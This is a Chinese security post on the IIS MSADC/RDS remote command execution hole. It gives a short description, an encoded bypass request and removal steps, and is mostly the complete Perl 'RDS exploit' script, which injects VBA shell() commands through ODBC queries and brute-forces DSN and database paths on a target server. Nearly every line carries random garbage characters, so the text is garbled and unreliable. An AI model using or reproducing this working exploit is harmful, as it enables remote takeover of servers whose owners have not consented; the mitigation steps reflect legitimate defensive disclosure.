IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
T72Li"00 ^Ip\ `2^u 涉及程序：
+
o< 7* Microsoft NT server
p!DdX o< b 描述：
djf8FNnn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
fCa
lR7! wOUCe#P|r 详细：
++2a xRl 如果你没有时间读详细内容的话，就删除:
v*excl~ c:\Program Files\Common Files\System\Msadc\msadcs.dll
KXTk.\c 有关的安全问题就没有了。
L^^f.w#m G}
[$M"} 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
G]l/L\ { bIt{kzuQC 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
mC ]Krnx 关于利用ODBC远程漏洞的描述，请参看:
"% \ y$ bjUe + #BL http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm AJ
0Bb7 (N}\ Wft% 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
-{3^~vW|< http://www.microsoft.com/security/bulletins/MS99-025faq.asp $LR~c)}1I #\~m}O, 这里不再论述。
Pd:tRY+t/ ]I~BgE;C9 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Jv2V@6a( %Y`)ZKh
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ADP[KZO$ 4 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
0Ns Po )$Fw<;4 Pw| /PfG #将下面这段保存为txt文件，然后: "perl -x 文件名"
#SLi v W*c^(W #!perl
1%.Ct Ti #
.Xta;Py|J # MSADC/RDS 'usage' (aka exploit) script
cCtd\/ \ #
5k_%%><: q # by rain.forest.puppy
IL8&MA% #
p<a~L~xH6 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
#6AcM" # beta test and find errors!
ohXbA9&(x :)_P7k`>e/ use Socket; use Getopt::Std;
Sr10ot&ox getopts("e:vd:h:XR", \%args);
@ceL9#:uc ue
*mTMN print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
pv|D {39Hs ({rescQB if (!defined $args{h} && !defined $args{R}) {
TAM`i3{ D print qq~
0J )VEMC Usage: msadc.pl -h <host> { -d <delay> -X -v }
P`hg*"<V -h <host> = host you want to scan (ip or domain)
2\}6b4 -d <seconds> = delay between calls, default 1 second
.dBW{|gN -X = dump Index Server path table, if available
w RTzpG4 -v = verbose
NLWj5K)1P -e = external dictionary file for step 5
' vIVsv<p mnMY)-6C Or a -R will resume a command session
#|xj*+)H t;%MSedn ~; exit;}
AK;G _L n RZ T~S4 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
b |Ed@C if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
x JzO?a ' if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
{-c[w&q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
.Wyx #9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
l &Fx<
W if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~i@Z4t j7 l$p"%5 ]_ if (!defined $args{R}){ $ret = &has_msadc;
3Z)vJC9' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
;S> ml f#vVk
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
N'5!4JUI . "cmd /c ";
M\9p- %"L $in=<STDIN>; chomp $in;
0Ioa;Xg On $command="cmd /c " . $in ;
]\R%@FCYc }WkR-5N if (defined $args{R}) {&load; exit;}
T8QRO%t *O-si%@] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Y6%O 9b &try_btcustmr;
z I>,A|yy ;@u+b0
j print "\nStep 2: Trying to make our own DSN...";
8>^O]5Wo`X &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
g60r m1b 2ap0/l[ print "\nStep 3: Trying known DSNs...";
7+p=4i^@Zs &known_dsn;
h "r)z6Q/ 9s6d+HhM print "\nStep 4: Trying known .mdbs...";
c/}bx52>u &known_mdb;
a_(vpD^ ;l b@o,R : if (defined $args{e}){
;fDs9= 3# print "\nStep 5: Trying dictionary of DSN names...";
U@?Ro enn &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
D (S^g+rd hz+x)M`Y print "Sorry Charley...maybe next time?\n";
OGO4~Up exit;
?Da!QH
>,] 8BJ&"y8H ##############################################################################
|a {*r . ddjaM / .E sub sendraw { # ripped and modded from whisker
& mvC<_1n sleep($delay); # it's a DoS on the server! At least on mine...
a)8M'f_z my ($pstr)=@_;
hbdM}"& ] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0~X Z die("Socket problems\n");
SfwAMNCe if(connect(S,pack "SnA4x8",2,80,$target)){
V5LzUg] select(S); $|=1;
AA,n.;zy< print $pstr; my @in=<S>;
Q|o~\h< select(STDOUT); close(S);
NvfQa6?; return @in;
0l ]K%5# } else { die("Can't connect...\n"); }}
Y;XEC;PXD S(*SUH ##############################################################################
6jtnH'E/ [&
&9F}; sub make_header { # make the HTTP request
n P4DHb&5 my $msadc=<<EOT
R oWGQney POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
i/U HDqZ User-Agent: ACTIVEDATA
i~6qOlLD- Host: $ip
&<sDbN S Content-Length: $clen
$McVK>= Connection: Keep-Alive
J;g+ "M.vu}~> ADCClientVersion:01.06
cA4xx^~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
wGf SVA-q\ _6 |lw&o07 --!ADM!ROX!YOUR!WORLD!
LY^pmak Content-Type: application/x-varg
Xj<B!Wn*Xb Content-Length: $reqlen
8FThu[ v 5GV"qY EOT
q>*+.~ ; $msadc=~s/\n/\r\n/g;
] MP6VT return $msadc;}
W]rK* Dc !1}A\S ##############################################################################
%9A6c(L xeX Pc7JG sub make_req { # make the RDS request
0Y9\,y_ my ($switch, $p1, $p2)=@_;
*1KrI9i my $req=""; my $t1, $t2, $query, $dsn;
XaV h. =)3tVH& if ($switch==1){ # this is the btcustmr.mdb query
IPoNAi<b $query="Select * from Customers where City=" . make_shell();
QuJ)Wa JkC $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
N?h=Zl| $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
0ZXG{Gp9S AVA
hS}*t elsif ($switch==2){ # this is general make table query
\]W*0t> s $query="create table AZZ (B int, C varchar(10))";
f6ad@2 $dsn="$p1";}
y-93 >Y n
LZ
elsif ($switch==3){ # this is general exploit table query
{?
jr $query="select * from AZZ where C=" . make_shell();
jR #g>MDKB $dsn="$p1";}
O# E]a<N ` L= fz:H elsif ($switch==4){ # attempt to hork file info from index server
Y\ len $query="select path from scope()";
bCF"4KXK $dsn="Provider=MSIDXS;";}
n%]1p36 0BM3:]=wr elsif ($switch==5){ # bad query
)q\|f_ $query="select";
~ b ;%J: $dsn="$p1";}
r-+ .Ax4L" . j}dk.#h $t1= make_unicode($query);
pN"d~Z8 $t2= make_unicode($dsn);
DUxj^,mf, $req = "\x02\x00\x03\x00";
;_GS<[A3 $req.= "\x08\x00" . pack ("S1", length($t1));
h`OX()N $req.= "\x00\x00" . $t1 ;
dw8Ce8W $req.= "\x08\x00" . pack ("S1", length($t2));
T,,,+gPx $req.= "\x00\x00" . $t2 ;
S3u>a\ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
&oTUj'$ return $req;}
g jJ?*N[ <3iL 5} ##############################################################################
u +GtH;<; 8=H!&+aGh sub make_shell { # this makes the shell() statement
Yqy7__v m return "'|shell(\"$command\")|'";}
JZP>`c21y] 9 GuG"^08 ##############################################################################
D}wM$B@S Lc!%
3,#. sub make_unicode { # quick little function to convert to unicode
`Li3=!V [ my ($in)=@_; my $out;
G-[fz for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
z )2h\S return $out;}
YT6<1-E# % SL'X`j ##############################################################################
`Pv[A C{<qc,!4 sub rdo_success { # checks for RDO return success (this is kludge)
vl 8Ums} + my (@in) = @_; my $base=content_start(@in);
SNB > if($in[$base]=~/multipart\/mixed/){
J)iy6{0" return 1 if( $in[$base+10]=~/^\x09\x00/ );}
WhsT Ky&E return 0;}
oX@0+*" #y"E hwF ##############################################################################
6u`E {$ r<38; a sub make_dsn { # this makes a DSN for us
7yLO<o?9w my @drives=("c","d","e","f");
.V 9/0 print "\nMaking DSN: ";
j()<.h;' foreach $drive (@drives) {
q[#2` print "$drive: ";
,c#=qb8"" my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
uI^E9r/hB "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
;H5PiSq;z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
q h !2dj $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
&y/ return 0 if $2 eq "404"; # not found/doesn't exist
!S A j V) if($2 eq "200") {
GU\} }j] foreach $line (@results) {
j'#M'W3@ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
h[ M~cZ{ } return 0;}
[!B($c|\ ,r T62w*e ##############################################################################
wiXdb[[# *P,dR]-m sub verify_exists {
pZx'%-\-T my ($page)=@_;
ORhe?E] my @results=sendraw("GET $page HTTP/1.0\n\n");
Mj2o>N2, return $results[0];}
a,3}
o:f !%<bLD8 ##############################################################################
JyY-@GF TQyi -Dc sub try_btcustmr {
M}E0Msq_o my @drives=("c","d","e","f");
47b=>D8 my @dirs=("winnt","winnt35","winnt351","win","windows");
(a0q*iC% 5T)qn`% foreach $dir (@dirs) {
,*SoV~ print "$dir -> "; # fun status so you can see progress
[hE0 9W foreach $drive (@drives) {
kGsd3 t! ' print "$drive: "; # ditto
hce *G@b $reqlen=length( make_req(1,$drive,$dir) ) - 28;
~wmc5L/!? $reqlenlen=length( "$reqlen" );
:uE:mY%R $clen= 206 + $reqlenlen + $reqlen;
#'N"<o[ <QoSq'g#,= my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Zi5d"V[}T if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
I Kx]?0sS else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
AvF:$ kG 'xi[- - ##############################################################################
j3`# v3 v|:2U8YREf sub odbc_error {
] RgLTqv4x my (@in)=@_; my $base;
WV]%llj^ my $base = content_start(@in);
n4 Od4& r if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
iq_y80g`8h $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
JX%B_eUlAs $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
SXfuPM $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Te=[t x~x return $in[$base+4].$in[$base+5].$in[$base+6];}
e|)6zh<O: print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
f>\guuG print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
5 Z+2 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
$Fx:w bjvpYZC\5 ##############################################################################
i`-,=RJ :td#zM sub verbose {
$xRZU9 + my ($in)=@_;
56 k 89o return if !$verbose;
))Ws{ print STDOUT "\n$in\n";}
{[~cQgCI wg<UCmfu! ##############################################################################
%$K2 $dq5 V7}5Z w1 sub save {
n]$50_@ my ($p1, $p2, $p3, $p4)=@_;
nA:\G":\y open(OUT, ">rds.save") || print "Problem saving parameters...\n";
J
ik+t\A print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
T=6fZ;7 close OUT;}
K?[ *9Q'\ >*#clf; @p ##############################################################################
WqX#T i7g+8 zd8d sub load {
HAa2q= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
bvY'=
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
!QK ~l @p=<IN>; close(IN);
TX7B (JZD $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
HP T {83 $target= inet_aton($ip) || die("inet_aton problems");
i[obQx S94 print "Resuming to $ip ...";
?;1^8 c0 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
t?J Y @hT* if($p[1]==1) {
)c
v A}U.z $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
M{ # $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
!Z +4FwF my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{k. Dy92 if (rdo_success(@results)){print "Success!\n";}
>iefEv\ else { print "failed\n"; verbose(odbc_error(@results));}}
x8H%88!j* elsif ($p[1]==3){
|3\$ \qa if(run_query("$p[3]")){
7O6VnKl print "Success!\n";} else { print "failed\n"; }}
xlQl1lOX elsif ($p[1]==4){
9GdQ$^m if(run_query($drvst . "$p[3]")){
So &c\Ff print "Success!\n"; } else { print "failed\n"; }}
@* a'B=7 exit;}
TG ,T>' d4@\5< ##############################################################################
Xq"@Z WR' m<u sub create_table {
r?Y+TtF\e my ($in)=@_;
fNz*E|]8& $reqlen=length( make_req(2,$in,"") ) - 28;
&^WJ:BvA|^ $reqlenlen=length( "$reqlen" );
)U4h?J $clen= 206 + $reqlenlen + $reqlen;
fJ" #c<n my @results=sendraw(make_header() . make_req(2,$in,""));
-oGJPl {r return 1 if rdo_success(@results);
+[l52p@ a my $temp= odbc_error(@results); verbose($temp);
V. sIiE return 1 if $temp=~/Table 'AZZ' already exists/;
~I^}'^Dbb return 0;}
1 o5DQ'~n 4
qdLH^dX ##############################################################################
{4u8~whLp TUeW-' /1 sub known_dsn {
e~7h8?\.q # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{)^P_zha[9 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
DtBIDU] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
H` !%" "banner", "banners", "ads", "ADCDemo", "ADCTest");
yl63VX8w} yP :/F|E$ foreach $dSn (@dsns) {
7/*a print ".";
slSQ \;CDA next if (!is_access("DSN=$dSn"));
AEx|<E0 if(create_table("DSN=$dSn")){
[5&zyI i print "$dSn successful\n";
Q8:`;W if(run_query("DSN=$dSn")){
1S !<D)n print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
C:C9swik"5 print "Something's borked. Use verbose next time\n";}}} print "\n";}
CV <@Rgoa 6*@\Qsp615 ##############################################################################
T*"15ppfk 4 {2)ZI# sub is_access {
). +!/x my ($in)=@_;
-!]I e4" $reqlen=length( make_req(5,$in,"") ) - 28;
d~[^D<5,D $reqlenlen=length( "$reqlen" );
*ml& }9 $clen= 206 + $reqlenlen + $reqlen;
n ,<`.^ my @results=sendraw(make_header() . make_req(5,$in,""));
8 jom)a my $temp= odbc_error(@results);
VKa- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
9A]XuPAlh return 0;}
QInow2/u ]s
lYr8m ##############################################################################
k:(i sKIA B Z:H$v sub run_query {
s(yV E my ($in)=@_;
N7lWeF $reqlen=length( make_req(3,$in,"") ) - 28;
L M_/: $reqlenlen=length( "$reqlen" );
Pw4j?pv2 $clen= 206 + $reqlenlen + $reqlen;
%,9i Y&;U" my @results=sendraw(make_header() . make_req(3,$in,""));
#UN (R return 1 if rdo_success(@results);
Rg*zUfu5%o my $temp= odbc_error(@results); verbose($temp);
?H9F"B$a return 0;}
C #]% 6km{=
``` ##############################################################################
,}&E=5MF\ 'TPRGX~& sub known_mdb {
,6[}qw) * my @drives=("c","d","e","f","g");
-e_+x'uF my @dirs=("winnt","winnt35","winnt351","win","windows");
Q C:/xP my $dir, $drive, $mdb;
\Yv<Tz J9 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
N kfu k a$p2I+lX # this is sparse, because I don't know of many
/f!_dJ^ my @sysmdbs=( "\\catroot\\icatalog.mdb",
9g"
1WZ! "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^'8T9N@U "\\system32\\certmdb.mdb",
@Yua%n6]#D "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
:j/PtNT@ U:]b&I my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
l 6.#s3I[' "\\cfusion\\cfapps\\forums\\forums_.mdb",
Ov{fO "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
f[)_ =T+ "\\cfusion\\cfapps\\security\\realm_.mdb",
}vOUf# ^k "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_q([k_4h "\\cfusion\\database\\cfexamples.mdb",
cK.T=7T "\\cfusion\\database\\cfsnippets.mdb",
S fE^'G\ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
9E{Bn# "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
^&t(O1.- "\\cfusion\\brighttiger\\database\\cleam.mdb",
I>b-w;cC "\\cfusion\\database\\smpolicy.mdb",
+NR n>1] "\\cfusion\\database\cypress.mdb",
W%]sI n "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
0D1yG(ck "\\website\\cgi-win\\dbsample.mdb",
U4#[>* "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
mY9u/; dK "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{aq\sf;i{ ); #these are just
NEQcEUd? foreach $drive (@drives) {
G+ =6]0HT foreach $dir (@dirs){
]rM{\En foreach $mdb (@sysmdbs) {
U5mec167
print ".";
0|X!Uw-Q%_ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
NF= FbvNe print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(^g?/i1@d if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
!x. ^ya print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
pj,.RcH@o } else { print "Something's borked. Use verbose next time\n"; }}}}}
_C?<re3* |7Z,z0 ?V foreach $drive (@drives) {
f}bUuQrH-! foreach $mdb (@mdbs) {
]>@;
2%YvY print ".";
`$`:PT\Zv4 if(create_table($drv . $drive . $dir . $mdb)){
,eRl
Z3T print "\n" . $drive . $dir . $mdb . " successful\n";
Yt*M|0bL if(run_query($drv . $drive . $dir . $mdb)){
8eP 2B281 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
' U(v } else { print "Something's borked. Use verbose next time\n"; }}}}
)61CrQiY }
~4Is S[UHx}. ##############################################################################
{N y\9r U'LO;s04m sub hork_idx {
R~b9) print "\nAttempting to dump Index Server tables...\n";
B$7m@|p! print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
I=hgf o $reqlen=length( make_req(4,"","") ) - 28;
6<H[1PI`,G $reqlenlen=length( "$reqlen" );
e4NT $clen= 206 + $reqlenlen + $reqlen;
8QY G"CA6/ my @results=sendraw2(make_header() . make_req(4,"",""));
sTqy-^e7 if (rdo_success(@results)){
=!xeki]|9 my $max=@results; my $c; my %d;
~nb% w?vv for($c=19; $c<$max; $c++){
S6H=(l58 $results[$c]=~s/\x00//g;
.Gl&K |/{j $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
qce# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
8 Oeg"d $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
k=Ef)' $d{"$1$2"}="";}
eEJ8j_G foreach $c (keys %d){ print "$c\n"; }
`<t{NJ&f } else {print "Index server doesn't seem to be installed.\n"; }}
'O`jV0aa' ~0?p @8 ##############################################################################
S$]:3 OR a!84L sub dsn_dict {
&F\ J%#{ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
6f= /vRAh$ while(<IN>){
p'k stiB $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
@Ris ab n next if (!is_access("DSN=$dSn"));
,@!8jar@w} if(create_table("DSN=$dSn")){
?O Km~ Ek print "$dSn successful\n";
*6*#"#D if(run_query("DSN=$dSn")){
cFUYT$8> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#`a-b<uz print "Something's borked. Use verbose next time\n";}}}
UVu"meZX print "\n"; close(IN);}
#`GW7(M wRPBJ-C) ##############################################################################
UF<|1;' *ILS/`mdav sub sendraw2 { # ripped and modded from whisker
[CPZj*|b sleep($delay); # it's a DoS on the server! At least on mine...
}p t5. 'l my ($pstr)=@_;
_DC/`_' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
g)$Pvfc die("Socket problems\n");
OJ UM Y<5 if(connect(S,pack "SnA4x8",2,80,$target)){
=&"Vf!7YR7 print "Connected. Getting data";
zx-+u7qKH open(OUT,">raw.out"); my @in;
:G^`LyO M select(S); $|=1; print $pstr;
Vu\|KL| while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
R)cns7oW close(OUT); select(STDOUT); close(S); return @in;
-xXNzC } else { die("Can't connect...\n"); }}
46_<v=YSJ 'n: Ft ##############################################################################
%~p_b Kd~ /F;*[JZIb sub content_start { # this will take in the server headers
. F#mT h my (@in)=@_; my $c;
Q77qrx3 for ($c=1;$c<500;$c++) {
eiEZtu if($in[$c] =~/^\x0d\x0a/){
$%r|V*5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
6xL=JSi~ else { return $c+1; }}}
8< n8joO0 return -1;} # it should never get here actually
9,` mH0jP CI{]o&Tf ##############################################################################
'dWJ#9C p hXVuQ sub funky {
ZX'{o9+w5 my (@in)=@_; my $error=odbc_error(@in);
X""'}X|O if($error=~/ADO could not find the specified provider/){
oTI*mGR1Z print "\nServer returned an ADO miscofiguration message\nAborting.\n";
TP{a*ke^5, exit;}
F5
LQgK-z if($error=~/A Handler is required/){
iqy}|xAU print "\nServer has custom handler filters (they most likely are patched)\n";
+crAkb}i exit;}
o95O!5 hl if($error=~/specified Handler has denied Access/){
e!4akKw4wD print "\nServer has custom handler filters (they most likely are patched)\n";
=~=/ d q exit;}}
t C 6 c4 j FG#j0#|* ##############################################################################
c+a f=ac ] 3={o3[: sub has_msadc {
i"rMP#7 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
R1Pnj my $base=content_start(@results);
(X>y)V return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
@0
-B&w return 0;}
-m| b2g}"3 ]`.
d%Vx ########################
~|uCZ.;o cJA :vHyw On'3K+(_ 解决方案：
:ZL>JVk 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Vj2GK"$v 2、移除web 目录: /msadc
